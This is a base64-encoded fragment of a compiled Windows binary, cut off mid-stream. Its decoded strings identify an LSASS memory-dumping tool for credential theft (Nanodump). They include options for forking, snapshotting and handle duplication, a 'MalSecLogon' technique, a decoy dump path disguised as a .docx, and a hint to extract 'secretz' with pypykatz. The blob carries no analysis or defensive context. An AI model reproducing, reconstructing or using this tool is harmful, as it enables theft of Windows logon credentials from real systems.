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luY3JlYXNlIERVTVBfTUFYX1NJWkUuAHVzYWdlOiAlcyBbLS1nZXRwaWRdIC0td3JpdGUgQzpcV2luZG93c1xUZW1wXGRvYy5kb2N4IFstLXZhbGlkXSBbLS1mb3JrXSBbLS1zbmFwc2hvdF0gWy0tZHVwXSBbLS1tYWxzZWNsb2dvbl0gWy0tYmluYXJ5IEM6XFdpbmRvd3Ncbm90ZXBhZC5leGVdIFstLWhlbHBdAAoAICAgIC0tZ2V0cGlkACAgICAgICAgICAgIHByaW50IHRoZSBQSUQgb2YgTFNBU1MgYW5kIGxlYXZlAAAAACAgICAtLXdyaXRlIERVTVBfUEFUSCwgLXcgRFVNUF9QQVRIACAgICAgICAgICAgIGZpbGVuYW1lIG9mIHRoZSBkdW1wACAgICAtLXZhbGlkLCAtdgAAAAAgICAgICAgICAgICBjcmVhdGUgYSBkdW1wIHdpdGggYSB2YWxpZCBzaWduYXR1cmUAICAgIC0tZm9yaywgLWYAICAgICAgICAgICAgZm9yayB0aGUgdGFyZ2V0IHByb2Nlc3MgYmVmb3JlIGR1bXBpbmcAICAgIC0tc25hcHNob3QsIC1zAAAAICAgICAgICAgICAgc25hcHNob3QgdGhlIHRhcmdldCBwcm9jZXNzIGJlZm9yZSBkdW1waW5nACAgICAtLWR1cCwgLWQAAAAAICAgICAgICAgICAgZHVwbGljYXRlIGFuIGV4aXN0aW5nIExTQVNTIGhhbmRsZQAgICAgLS1tYWxzZWNsb2dvbiwgLW0AAAAAICAgICAgICAgICAgb2J0YWluIGEgaGFuZGxlIHRvIExTQVNTIGJ5IChhYil1c2luZyBzZWNsb2dvbgAAICAgIC0tYmluYXJ5IEJJTl9QQVRILCAtYiBCSU5fUEFUSAAAICAgICAgICAgICAgZnVsbCBwYXRoIHRvIHRoZSBkZWNveSBiaW5hcnkgdXNlZCB3aXRoIC0tZHVwIGFuZCAtLW1hbHNlY2xvZ29uACAgICAtLWhlbHAsIC1oAAAgICAgICAgICAgICBwcmludCB0aGlzIGhlbHAgbWVzc2FnZSBhbmQgbGVhdmUAAABOYW5vZHVtcCBkb2VzIG5vdCBzdXBwb3J0IFdvVzY0AC0tZ2V0cGlkAC12AC0tdmFsaWQALXcALS13cml0ZQBtaXNzaW5nIC0td3JpdGUgdmFsdWUALXAALS1waWQAbWlzc2luZyAtLXBpZCB2YWx1ZQAwMTIzNDU2Nzg5AEludmFsaWQgUElEOiAlcwAtZgAtLWZvcmsALXMALS1zbmFwc2hvdAAtZAAtLWR1cAAtbQAtLW1hbHNlY2xvZ29uAC1zMgAtLXN0YWdlMgAtYgAtLWJpbmFyeQBtaXNzaW5nIC0tYmluYXJ5IHZhbHVlAABZb3UgbXVzdCBwcm92aWRlIGEgZnVsbCBwYXRoOiAlcwAAAABUaGUgYmluYXJ5ICIlcyIgZG9lcyBub3QgZXhpc3RzLgAtaAAtLWhlbHAAaW52YWxpZCBhcmd1bWVudDogJXMASWYgTWFsU2VjTG9nb24gaXMgYmVpbmcgdXNlZCBsb2NhbGx5LCB5b3UgbmVlZCB0byBwcm92aWRlIHRoZSBmdWxsIHBhdGg6ICVzAFRoZSBvcHRpb25zIC0tZm9yayBhbmQgLS1zbmFwc2hvdCBjYW5ub3QgYmUgdXNlZCBhdCB0aGUgc2FtZSB0aW1lAExTQVNTIFBJRDogJWxkAAAAAFlvdSBtdXN0IHByb3ZpZGUgdGhlIGR1bXAgZmlsZTogLS13cml0ZSBDOlxXaW5kb3dzXFRlbXBcZG9jLmRvY3gAAAAASWYgLS1kdXAgYW5kIC0tbWFsc2VjbG9nb24gYXJlIHVzZWQsIHlvdSBuZWVkIHRvIHByb3ZpZGUgYSBiaW5hcnkgd2l0aCAtLWJpbmFyeQBUaGUgb3B0aW9uIC0tYmluYXJ5IGNhbiBvbmx5IGJlIHVzZWQgd2l0aCAtLW1hbHNlY2xvZ29uIGFuZCAtLWR1cAAAAEB/QAAAoEEABKBBAABoQQAckEEAAAAAAAAAAABVbmtub3duIGVycm9yAAAAX21hdGhlcnIoKTogJXMgaW4gJXMoJWcsICVnKSAgKHJldHZhbD0lZykKAABBcmd1bWVudCBkb21haW4gZXJyb3IgKERPTUFJTikAQXJndW1lbnQgc2luZ3VsYXJpdHkgKFNJR04pAABPdmVyZmxvdyByYW5nZSBlcnJvciAoT1ZFUkZMT1cpAFRoZSByZXN1bHQgaXMgdG9vIHNtYWxsIHRvIGJlIHJlcHJlc2VudGVkIChVTkRFUkZMT1cpAAAAVG90YW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